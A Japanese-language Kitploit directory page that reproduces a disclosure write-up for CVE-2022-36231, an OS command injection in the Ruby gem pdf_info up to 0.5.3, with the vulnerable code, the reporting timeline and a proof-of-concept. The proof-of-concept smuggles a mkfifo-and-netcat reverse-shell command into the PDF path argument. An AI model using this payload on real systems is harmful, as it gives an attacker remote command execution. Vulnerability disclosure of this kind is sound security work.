Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 OSコマンドインジェクション | Kitploit
ツール/GitHubGitHub/affix/cve-2022-36231
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 OSコマンドインジェクション

リポジトリを見る
533年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-36231

Ruby gem pdf_info <= 0.5.3 は、PDF::Info オブジェクト上でメソッドを実行する際に OS コマンドインジェクションの脆弱性があります。

攻撃者は特別に細工されたペイロードを使用して、コマンドチェーンを利用して OS コマンドを実行する可能性があります。

脆弱性分析

新しい PDF::Info オブジェクトを作成するときに initialize メソッドが呼び出されます

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

オブジェクトの初期化中に検証は行われず、ユーザーが指定したパスが使用されます。

以下を使用して PDF::Info オブジェクトを作成し、PDF のメタデータを返すことができます。

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

PDF::Info オブジェクトで metadata メソッドを呼び出すと、引数として command メソッドが渡された process_output メソッドが呼び出されます。

command メソッドは @pdf_info クラス変数を使用して、システム上で pdfinfo コマンドを実行し、以下のコードスニペットを使用してコマンドの出力を返します。

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

initialize メソッドと同様に、@pdf_path 変数に対する検証は行われません。これにより、; を使用したコマンドチェーンを利用して任意のコマンドを実行できます。

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

上記のコードスニペットは、ポート 4444 で 127.0.0.1 へのリバースシェルを実行します。

シェル

開示の詳細

  • 2022-07-20 :: ベンダーに報告
  • 2022-08-30 :: ベンダーにフォローアップ
  • 2022-09-30 :: CVE を申請
  • 2022-10-26 :: 脆弱性を公開
ツールをダウンロード